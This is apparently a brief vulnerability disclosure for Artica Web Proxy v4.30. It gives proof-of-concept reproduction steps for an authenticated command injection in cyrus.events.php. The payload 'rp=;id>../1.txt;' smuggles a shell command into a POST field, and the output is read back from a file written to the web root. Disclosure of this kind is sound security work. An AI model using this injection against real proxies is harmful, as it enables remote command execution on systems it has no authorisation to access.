Vendor && Product www.articatech.com Artica Web Proxy v4.30.000000 Download: http://www.articatech.com/download.php Reproduction Login the web account, use this poc Because the execution result is not echoed, we view the result by writing a file https://192.168.108.14:9000/cyrus.events.php?logs=
POST:
rp=;id>../1.txt; access https://192.168.108.14:9000/1.txt, we can see the execution result.